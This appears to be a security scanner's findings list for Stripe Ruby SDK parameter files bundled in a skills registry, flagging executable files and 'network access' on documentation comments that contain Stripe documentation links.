# Payment methods attached to other Customers cannot be used with this PaymentIntent. # # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not - Network accessline 2558
# If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not `card_present`, then the payment method attaches to the Customer after the PaymentIntent has be - Network accessline 2562
# Payment methods attached to other Accounts cannot be used with this PaymentIntent. # # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not - Network accessline 2564
# If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not `card_present`, then the payment method attaches to the Account after the PaymentIntent has bee - Network accessline 2574
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 2578
# ID of the payment method (a PaymentMethod, Card, or [compatible Source](https://docs.stripe.com/payments/payment-methods/transitioning#compatibility) object) to attach to this PaymentIntent. To unset this field to null, pass in an empty s - Network accessline 2580
# The ID of the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) to use with this PaymentIntent. - Network accessline 2582
# If provided, this hash will be used to create a PaymentMethod. The new PaymentMethod will appear # in the [payment_method](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-payment_method) - Network accessline 2583
# in the [payment_method](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-payment_method) - Network accessline 2588
# The list of payment method types (for example, card) that this PaymentIntent can use. Use `automatic_payment_methods` to manage payment methods from the [Stripe Dashboard](https://dashboard.stripe.com/settings/payment_methods). A list of - Network accessline 2590
# Email address that the receipt for the resulting payment will be sent to. If `receipt_email` is specified for a payment in live mode, a receipt will be sent regardless of your [email settings](https://dashboard.stripe.com/account/emails). - Network accessline 2604
# Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [t - Network accessline 2606
# Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead. - Network accessline 2608
# Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the - Network accessline 2610
# Use this parameter to automatically create a Transfer when the payment succeeds. Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts). - Network accessline 2612
# A string that identifies the resulting payment as part of a group. You can only provide `transfer_group` if it hasn't been set. Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_intent_verify_microdeposits_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_link_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 17
# The URL the customer will be redirected to after the purchase is complete. You can embed `{CHECKOUT_SESSION_ID}` into the URL to have the `id` of the completed [checkout session](https://docs.stripe.com/api/checkout/sessions/object#checko - Network accessline 50
# Set to `true` to [calculate tax automatically](https://docs.stripe.com/tax) using the customer's location. - Network accessline 79
# If set to `required`, it requires customers to check a terms of service checkbox before being able to pay. # There must be a valid terms of service URL set in your [Dashboard settings](https://dashboard.stripe.com/settings/public). - Network accessline 80
# There must be a valid terms of service URL set in your [Dashboard settings](https://dashboard.stripe.com/settings/public). - Network accessline 294
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 350
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 354
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID. - Network accessline 387
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 389
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `product` or `product_data` is required. - Network accessline 391
# Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` is required. - Network accessline 395
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 422
# The ID of the [Price](https://docs.stripe.com/api/prices) or [Plan](https://docs.stripe.com/api/plans) object. One of `price` or `price_data` is required. - Network accessline 424
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. - Network accessline 489
# The ID of the [Price](https://docs.stripe.com/api/prices) or [Plan](https://docs.stripe.com/api/plans) object. - Network accessline 506
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will declaratively set metadata on [Payment Intents](https://docs.stripe.com/api/payment_intents) generated from this payment link. Unlike object-level metadata, this fie - Network accessline 508
# Indicates that you intend to [make future payments](https://docs.stripe.com/payments/payment-intents#future-usage) with the payment method collected by this Checkout Session. - Network accessline 520
# Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [t - Network accessline 522
# Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead. - Network accessline 524
# Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the - Network accessline 526
# A string that identifies the resulting payment as part of a group. See the PaymentIntents [use case for connected accounts](https://docs.stripe.com/connect/separate-charges-and-transfers) for details. - Network accessline 634
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will declaratively set metadata on [Subscriptions](https://docs.stripe.com/api/subscriptions) generated from this payment link. Unlike object-level metadata, this field i - Network accessline 696
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies) and supported by each line item's price. - Network accessline 702
# Configures whether [checkout sessions](https://docs.stripe.com/api/checkout/sessions) created by this payment link create a [Customer](https://docs.stripe.com/api/customers). - Network accessline 712
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 718
# A list of optional items the customer can add to their order at checkout. Use this parameter to pass one-time or recurring [Prices](https://docs.stripe.com/api/prices). - Network accessline 726
# Can only be set in `subscription` mode. Defaults to `always`. # # If you'd like information on how to collect a payment method outside of Checkout, read the guide on [configuring subscriptions with a free trial](https://docs.strip - Network accessline 728
# If you'd like information on how to collect a payment method outside of Checkout, read the guide on [configuring subscriptions with a free trial](https://docs.stripe.com/payments/checkout/free-trials). - Network accessline 730
# The list of payment method types that customers can use. If no value is passed, Stripe will dynamically show relevant payment methods from your [payment method settings](https://dashboard.stripe.com/settings/payment_methods) (20+ payment - Network accessline 740
# The shipping rate options to apply to [checkout sessions](https://docs.stripe.com/api/checkout/sessions) created by this payment link. - Network accessline 742
# Describes the type of transaction being performed in order to customize relevant text on the page, such as the submit button. Changing this value will also affect the hostname in the [url](https://docs.stripe.com/api/payment_links/payment
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_link_line_item_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_link_list_line_items_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_link_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_link_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_link_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 17
# The URL the customer will be redirected to after the purchase is complete. You can embed `{CHECKOUT_SESSION_ID}` into the URL to have the `id` of the completed [checkout session](https://docs.stripe.com/api/checkout/sessions/object#checko - Network accessline 50
# Set to `true` to [calculate tax automatically](https://docs.stripe.com/tax) using the customer's location. - Network accessline 267
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 368
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will declaratively set metadata on [Payment Intents](https://docs.stripe.com/api/payment_intents) generated from this payment link. Unlike object-level metadata, this fie - Network accessline 370
# Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [t - Network accessline 372
# Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead. - Network accessline 374
# Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the - Network accessline 376
# A string that identifies the resulting payment as part of a group. See the PaymentIntents [use case for connected accounts](https://docs.stripe.com/connect/separate-charges-and-transfers) for details. - Network accessline 469
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will declaratively set metadata on [Subscriptions](https://docs.stripe.com/api/subscriptions) generated from this payment link. Unlike object-level metadata, this field i - Network accessline 514
# Configures whether [checkout sessions](https://docs.stripe.com/api/checkout/sessions) created by this payment link create a [Customer](https://docs.stripe.com/api/customers). - Network accessline 524
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 532
# Can only be set in `subscription` mode. Defaults to `always`. # # If you'd like information on how to collect a payment method outside of Checkout, read the guide on [configuring subscriptions with a free trial](https://docs.strip - Network accessline 534
# If you'd like information on how to collect a payment method outside of Checkout, read the guide on [configuring subscriptions with a free trial](https://docs.stripe.com/payments/checkout/free-trials). - Network accessline 536
# The list of payment method types that customers can use. Pass an empty string to enable dynamic payment methods that use your [payment method settings](https://dashboard.stripe.com/settings/payment_methods). - Network accessline 546
# Describes the type of transaction being performed in order to customize relevant text on the page, such as the submit button. Changing this value will also affect the hostname in the [url](https://docs.stripe.com/api/payment_links/payment
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_method_attach_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_method_configuration_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 957
# Canadian pre-authorized debit payments, check this [page](https://docs.stripe.com/payments/acss-debit) for more details like country availability. - Network accessline 959
# [Affirm](https://www.affirm.com/) gives your customers a way to split purchases over a series of payments. Depending on the purchase, they can pay with four interest-free payments (Split Pay) or pay over a longer term (Installments), whic - Network accessline 961
# Afterpay gives your customers a way to pay for purchases in installments, check this [page](https://docs.stripe.com/payments/afterpay-clearpay) for more details like country availability. Afterpay is particularly popular among businesses - Network accessline 963
# Alipay is a digital wallet in China that has more than a billion active users worldwide. Alipay users can pay on the web or on a mobile device using login credentials or their Alipay app. Alipay has a low dispute rate and reduces fraud by - Network accessline 969
# Stripe users can accept [Apple Pay](https://stripe.com/payments/apple-pay) in iOS applications in iOS 9 and later, and on the web in Safari starting with iOS 10 or macOS Sierra. There are no additional fees to process Apple Pay payments, - Network accessline 973
# Stripe users in Australia can accept Bulk Electronic Clearing System (BECS) direct debit payments from customers with an Australian bank account. Check this [page](https://docs.stripe.com/payments/au-becs-debit) for more details. - Network accessline 975
# Stripe users in the UK can accept Bacs Direct Debit payments from customers with a UK bank account, check this [page](https://docs.stripe.com/payments/payment-methods/bacs-debit) for more details. - Network accessline 977
# Bancontact is the most popular online payment method in Belgium, with over 15 million cards in circulation. [Customers](https://docs.stripe.com/api/customers) use a Bancontact card or mobile app linked to a Belgian bank account to make on - Network accessline 979
# Billie is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) payment method that offers businesses Pay by Invoice where they offer payment terms ranging from 7-120 days. Customers are redirected from your website or ap - Network accessline 981
# BLIK is a [single use](https://docs.stripe.com/payments/payment-methods#usage) payment method that requires customers to authenticate their payments. When customers want to pay online using BLIK, they request a six-digit code from their b - Network accessline 983
# Boleto is an official (regulated by the Central Bank of Brazil) payment method in Brazil. Check this [page](https://docs.stripe.com/payments/boleto) for more details. - Network accessline 987
# Cartes Bancaires is France's local card network. More than 95% of these cards are co-branded with either Visa or Mastercard, meaning you can process these cards over either Cartes Bancaires or the Visa or Mastercard networks. Check this [ - Network accessline 989
# Cash App is a popular consumer app in the US that allows customers to bank, invest, send, and receive money using their digital wallet. Check this [page](https://docs.stripe.com/payments/cash-app-pay) for more details. - Network accessline 991
# [Stablecoin payments](https://docs.stripe.com/payments/stablecoin-payments) enable customers to pay in stablecoins like USDC from 100s of wallets including Phantom and Metamask. - Network accessline 993
# Uses a customer’s [cash balance](https://docs.stripe.com/payments/customer-balance) for the payment. The cash balance can be funded via a bank transfer. Check this [page](https://docs.stripe.com/payments/bank-transfers) for more details. - Network accessline 995
# EPS is an Austria-based payment method that allows customers to complete transactions online using their bank credentials. EPS is supported by all Austrian banks and is accepted by over 80% of Austrian online retailers. Check this [page]( - Network accessline 999
# Financial Process Exchange (FPX) is a Malaysia-based payment method that allows customers to complete transactions online using their bank credentials. Bank Negara Malaysia (BNM), the Central Bank of Malaysia, and eleven other major Malay - Network accessline 1001
# Meal vouchers in France, or “titres-restaurant”, is a local benefits program commonly offered by employers for their employees to purchase prepared food and beverages on working days. Check this [page](https://docs.stripe.com/payments/ben - Network accessline 1003
# giropay is a German payment method based on online banking, introduced in 2006. It allows customers to complete transactions online using their online banking environment, with funds debited from their bank account. Depending on their ban - Network accessline 1005
# Google Pay allows customers to make payments in your app or website using any credit or debit card saved to their Google Account, including those from Google Play, YouTube, Chrome, or an Android device. Use the Google Pay API to request a - Network accessline 1007
# GrabPay is a payment method developed by [Grab](https://www.grab.com/sg/consumer/finance/pay/). GrabPay is a digital wallet - customers maintain a balance in their wallets that they pay out with. Check this [page](https://docs.stripe.com/ - Network accessline 1009
# iDEAL is a Netherlands-based payment method that allows customers to complete transactions online using their bank credentials. All major Dutch banks are members of Currence, the scheme that operates iDEAL, making it the most popular onli - Network accessline 1011
# JCB is a credit card company based in Japan. JCB is currently available in Japan to businesses approved by JCB, and available to all businesses in Australia, Canada, Hong Kong, Japan, New Zealand, Singapore, Switzerland, United Kingdom, U - Network accessline 1015
# Klarna gives customers a range of [payment options](https://docs.stripe.com/payments/klarna#payment-options) during checkout. Available payment options vary depending on the customer's billing address and the transaction amount. These pay - Network accessline 1017
# Konbini allows customers in Japan to pay for bills and online purchases at convenience stores with cash. Check this [page](https://docs.stripe.com/payments/konbini) for more details. - Network accessline 1021
# [Link](https://docs.stripe.com/payments/link) is a payment method network. With Link, users save their payment details once, then reuse that information to pay with one click for any business on the network. - Network accessline 1023
# MB WAY is the most popular wallet in Portugal. After entering their phone number in your checkout, customers approve the payment directly in their MB WAY app. Check this [page](https://docs.stripe.com/payments/mb-way) for more details. - Network accessline 1025
# MobilePay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) card wallet payment method used in Denmark and Finland. It allows customers to [authenticate and approve](https://docs.stripe.com/payments/payment-methods - Network accessline 1027
# Stripe users in Europe and the United States can accept Multibanco payments from customers in Portugal using [Sources](https://stripe.com/docs/sources)—a single integration path for creating payments using any supported method. - Network accessline 1033
# Stripe users in New Zealand can accept Bulk Electronic Clearing System (BECS) direct debit payments from customers with a New Zeland bank account. Check this [page](https://docs.stripe.com/payments/nz-bank-account) for more details. - Network accessline 1035
# OXXO is a Mexican chain of convenience stores with thousands of locations across Latin America and represents nearly 20% of online transactions in Mexico. OXXO allows customers to pay bills and online purchases in-store with cash. Check t - Network accessline 1037
# Przelewy24 is a Poland-based payment method aggregator that allows customers to complete transactions online using bank transfers and other methods. Bank transfers account for 30% of online payments in Poland and Przelewy24 provides a way - Network accessline 1043
# PAYCO is a [single-use](https://docs.stripe.com/payments/payment-methods#usage local wallet available in South Korea. - Network accessline 1045
# PayNow is a Singapore-based payment method that allows customers to make a payment using their preferred app from participating banks and participating non-bank financial institutions. Check this [page](https://docs.stripe.com/payments/pa - Network accessline 1047
# PayPal, a digital wallet popular with customers in Europe, allows your customers worldwide to pay using their PayPal account. Check this [page](https://docs.stripe.com/payments/paypal) for more details. - Network accessline 1049
# PayTo is a [real-time](https://docs.stripe.com/payments/real-time) payment method that enables customers in Australia to pay by providing their bank account details. Customers must accept a mandate authorizing you to debit their account. - Network accessline 1051
# Pix is a payment method popular in Brazil. When paying with Pix, customers authenticate and approve payments by scanning a QR code in their preferred banking app. Check this [page](https://docs.stripe.com/payments/pix) for more details. - Network accessline 1053
# PromptPay is a Thailand-based payment method that allows customers to make a payment using their preferred app from participating banks. Check this [page](https://docs.stripe.com/payments/promptpay) for more details. - Network accessline 1057
# Samsung Pay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage local wallet available in South Korea. - Network accessline 1059
# Satispay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) payment method where customers are required to [authenticate](/payments/payment-methods#customer-actions) their payment. Customers pay by being redirected - Network accessline 1061
# The [Single Euro Payments Area (SEPA)](https://en.wikipedia.org/wiki/Single_Euro_Payments_Area) is an initiative of the European Union to simplify payments within and across member countries. SEPA established and enforced banking standard - Network accessline 1063
# Stripe users in Europe and the United States can use the [Payment Intents API](https://stripe.com/docs/payments/payment-intents)—a single integration path for creating payments using any supported method—to accept [Sofort](https://www.sof - Network accessline 1065
# Swish is a [real-time](https://docs.stripe.com/payments/real-time) payment method popular in Sweden. It allows customers to [authenticate and approve](https://docs.stripe.com/payments/payment-methods#customer-actions) payments using the S - Network accessline 1067
# Twint is a payment method popular in Switzerland. It allows customers to pay using their mobile phone. Check this [page](https://docs.stripe.com/payments/twint) for more details. - Network accessline 1069
# Stripe users in the United States can accept ACH direct debit payments from customers with a US bank account using the Automated Clearing House (ACH) payments system operated by Nacha. Check this [page](https://docs.stripe.com/payments/ac - Network accessline 1071
# WeChat, owned by Tencent, is China's leading mobile app with over 1 billion monthly active users. Chinese consumers can use WeChat Pay to pay for goods and services inside of businesses' apps and websites. WeChat Pay users buy most freque - Network accessline 1073
# Zip gives your customers a way to split purchases over a series of payments. Check this [page](https://docs.stripe.com/payments/zip) for more details like country availability.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_method_configuration_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_method_configuration_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_method_configuration_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 957
# Canadian pre-authorized debit payments, check this [page](https://docs.stripe.com/payments/acss-debit) for more details like country availability. - Network accessline 961
# [Affirm](https://www.affirm.com/) gives your customers a way to split purchases over a series of payments. Depending on the purchase, they can pay with four interest-free payments (Split Pay) or pay over a longer term (Installments), whic - Network accessline 963
# Afterpay gives your customers a way to pay for purchases in installments, check this [page](https://docs.stripe.com/payments/afterpay-clearpay) for more details like country availability. Afterpay is particularly popular among businesses - Network accessline 965
# Alipay is a digital wallet in China that has more than a billion active users worldwide. Alipay users can pay on the web or on a mobile device using login credentials or their Alipay app. Alipay has a low dispute rate and reduces fraud by - Network accessline 971
# Stripe users can accept [Apple Pay](https://stripe.com/payments/apple-pay) in iOS applications in iOS 9 and later, and on the web in Safari starting with iOS 10 or macOS Sierra. There are no additional fees to process Apple Pay payments, - Network accessline 975
# Stripe users in Australia can accept Bulk Electronic Clearing System (BECS) direct debit payments from customers with an Australian bank account. Check this [page](https://docs.stripe.com/payments/au-becs-debit) for more details. - Network accessline 977
# Stripe users in the UK can accept Bacs Direct Debit payments from customers with a UK bank account, check this [page](https://docs.stripe.com/payments/payment-methods/bacs-debit) for more details. - Network accessline 979
# Bancontact is the most popular online payment method in Belgium, with over 15 million cards in circulation. [Customers](https://docs.stripe.com/api/customers) use a Bancontact card or mobile app linked to a Belgian bank account to make on - Network accessline 981
# Billie is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) payment method that offers businesses Pay by Invoice where they offer payment terms ranging from 7-120 days. Customers are redirected from your website or ap - Network accessline 983
# BLIK is a [single use](https://docs.stripe.com/payments/payment-methods#usage) payment method that requires customers to authenticate their payments. When customers want to pay online using BLIK, they request a six-digit code from their b - Network accessline 985
# Boleto is an official (regulated by the Central Bank of Brazil) payment method in Brazil. Check this [page](https://docs.stripe.com/payments/boleto) for more details. - Network accessline 989
# Cartes Bancaires is France's local card network. More than 95% of these cards are co-branded with either Visa or Mastercard, meaning you can process these cards over either Cartes Bancaires or the Visa or Mastercard networks. Check this [ - Network accessline 991
# Cash App is a popular consumer app in the US that allows customers to bank, invest, send, and receive money using their digital wallet. Check this [page](https://docs.stripe.com/payments/cash-app-pay) for more details. - Network accessline 993
# [Stablecoin payments](https://docs.stripe.com/payments/stablecoin-payments) enable customers to pay in stablecoins like USDC from 100s of wallets including Phantom and Metamask. - Network accessline 995
# Uses a customer’s [cash balance](https://docs.stripe.com/payments/customer-balance) for the payment. The cash balance can be funded via a bank transfer. Check this [page](https://docs.stripe.com/payments/bank-transfers) for more details. - Network accessline 997
# EPS is an Austria-based payment method that allows customers to complete transactions online using their bank credentials. EPS is supported by all Austrian banks and is accepted by over 80% of Austrian online retailers. Check this [page]( - Network accessline 1001
# Financial Process Exchange (FPX) is a Malaysia-based payment method that allows customers to complete transactions online using their bank credentials. Bank Negara Malaysia (BNM), the Central Bank of Malaysia, and eleven other major Malay - Network accessline 1003
# Meal vouchers in France, or “titres-restaurant”, is a local benefits program commonly offered by employers for their employees to purchase prepared food and beverages on working days. Check this [page](https://docs.stripe.com/payments/ben - Network accessline 1005
# giropay is a German payment method based on online banking, introduced in 2006. It allows customers to complete transactions online using their online banking environment, with funds debited from their bank account. Depending on their ban - Network accessline 1007
# Google Pay allows customers to make payments in your app or website using any credit or debit card saved to their Google Account, including those from Google Play, YouTube, Chrome, or an Android device. Use the Google Pay API to request a - Network accessline 1009
# GrabPay is a payment method developed by [Grab](https://www.grab.com/sg/consumer/finance/pay/). GrabPay is a digital wallet - customers maintain a balance in their wallets that they pay out with. Check this [page](https://docs.stripe.com/ - Network accessline 1011
# iDEAL is a Netherlands-based payment method that allows customers to complete transactions online using their bank credentials. All major Dutch banks are members of Currence, the scheme that operates iDEAL, making it the most popular onli - Network accessline 1013
# JCB is a credit card company based in Japan. JCB is currently available in Japan to businesses approved by JCB, and available to all businesses in Australia, Canada, Hong Kong, Japan, New Zealand, Singapore, Switzerland, United Kingdom, U - Network accessline 1017
# Klarna gives customers a range of [payment options](https://docs.stripe.com/payments/klarna#payment-options) during checkout. Available payment options vary depending on the customer's billing address and the transaction amount. These pay - Network accessline 1019
# Konbini allows customers in Japan to pay for bills and online purchases at convenience stores with cash. Check this [page](https://docs.stripe.com/payments/konbini) for more details. - Network accessline 1023
# [Link](https://docs.stripe.com/payments/link) is a payment method network. With Link, users save their payment details once, then reuse that information to pay with one click for any business on the network. - Network accessline 1025
# MB WAY is the most popular wallet in Portugal. After entering their phone number in your checkout, customers approve the payment directly in their MB WAY app. Check this [page](https://docs.stripe.com/payments/mb-way) for more details. - Network accessline 1027
# MobilePay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) card wallet payment method used in Denmark and Finland. It allows customers to [authenticate and approve](https://docs.stripe.com/payments/payment-methods - Network accessline 1029
# Stripe users in Europe and the United States can accept Multibanco payments from customers in Portugal using [Sources](https://stripe.com/docs/sources)—a single integration path for creating payments using any supported method. - Network accessline 1035
# Stripe users in New Zealand can accept Bulk Electronic Clearing System (BECS) direct debit payments from customers with a New Zeland bank account. Check this [page](https://docs.stripe.com/payments/nz-bank-account) for more details. - Network accessline 1037
# OXXO is a Mexican chain of convenience stores with thousands of locations across Latin America and represents nearly 20% of online transactions in Mexico. OXXO allows customers to pay bills and online purchases in-store with cash. Check t - Network accessline 1039
# Przelewy24 is a Poland-based payment method aggregator that allows customers to complete transactions online using bank transfers and other methods. Bank transfers account for 30% of online payments in Poland and Przelewy24 provides a way - Network accessline 1043
# PAYCO is a [single-use](https://docs.stripe.com/payments/payment-methods#usage local wallet available in South Korea. - Network accessline 1045
# PayNow is a Singapore-based payment method that allows customers to make a payment using their preferred app from participating banks and participating non-bank financial institutions. Check this [page](https://docs.stripe.com/payments/pa - Network accessline 1047
# PayPal, a digital wallet popular with customers in Europe, allows your customers worldwide to pay using their PayPal account. Check this [page](https://docs.stripe.com/payments/paypal) for more details. - Network accessline 1049
# PayTo is a [real-time](https://docs.stripe.com/payments/real-time) payment method that enables customers in Australia to pay by providing their bank account details. Customers must accept a mandate authorizing you to debit their account. - Network accessline 1051
# Pix is a payment method popular in Brazil. When paying with Pix, customers authenticate and approve payments by scanning a QR code in their preferred banking app. Check this [page](https://docs.stripe.com/payments/pix) for more details. - Network accessline 1053
# PromptPay is a Thailand-based payment method that allows customers to make a payment using their preferred app from participating banks. Check this [page](https://docs.stripe.com/payments/promptpay) for more details. - Network accessline 1057
# Samsung Pay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage local wallet available in South Korea. - Network accessline 1059
# Satispay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) payment method where customers are required to [authenticate](/payments/payment-methods#customer-actions) their payment. Customers pay by being redirected - Network accessline 1061
# The [Single Euro Payments Area (SEPA)](https://en.wikipedia.org/wiki/Single_Euro_Payments_Area) is an initiative of the European Union to simplify payments within and across member countries. SEPA established and enforced banking standard - Network accessline 1063
# Stripe users in Europe and the United States can use the [Payment Intents API](https://stripe.com/docs/payments/payment-intents)—a single integration path for creating payments using any supported method—to accept [Sofort](https://www.sof - Network accessline 1065
# Swish is a [real-time](https://docs.stripe.com/payments/real-time) payment method popular in Sweden. It allows customers to [authenticate and approve](https://docs.stripe.com/payments/payment-methods#customer-actions) payments using the S - Network accessline 1067
# Twint is a payment method popular in Switzerland. It allows customers to pay using their mobile phone. Check this [page](https://docs.stripe.com/payments/twint) for more details. - Network accessline 1069
# Stripe users in the United States can accept ACH direct debit payments from customers with a US bank account using the Automated Clearing House (ACH) payments system operated by Nacha. Check this [page](https://docs.stripe.com/payments/ac - Network accessline 1071
# WeChat, owned by Tencent, is China's leading mobile app with over 1 billion monthly active users. Chinese consumers can use WeChat Pay to pay for goods and services inside of businesses' apps and websites. WeChat Pay users buy most freque - Network accessline 1073
# Zip gives your customers a way to split purchases over a series of payments. Check this [page](https://docs.stripe.com/payments/zip) for more details like country availability.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_method_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 58
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 66
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 310
# A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 400
[Credential-related source omitted] - Network accessline 438
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 468
# Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_method_detach_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_method_domain_create_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_method_domain_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_method_domain_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_method_domain_update_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_method_domain_validate_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_method_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_method_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_method_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 10
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 18
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 114
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_record_report_payment_attempt_canceled_params.rb
- Executable scriptline 1
Executable file
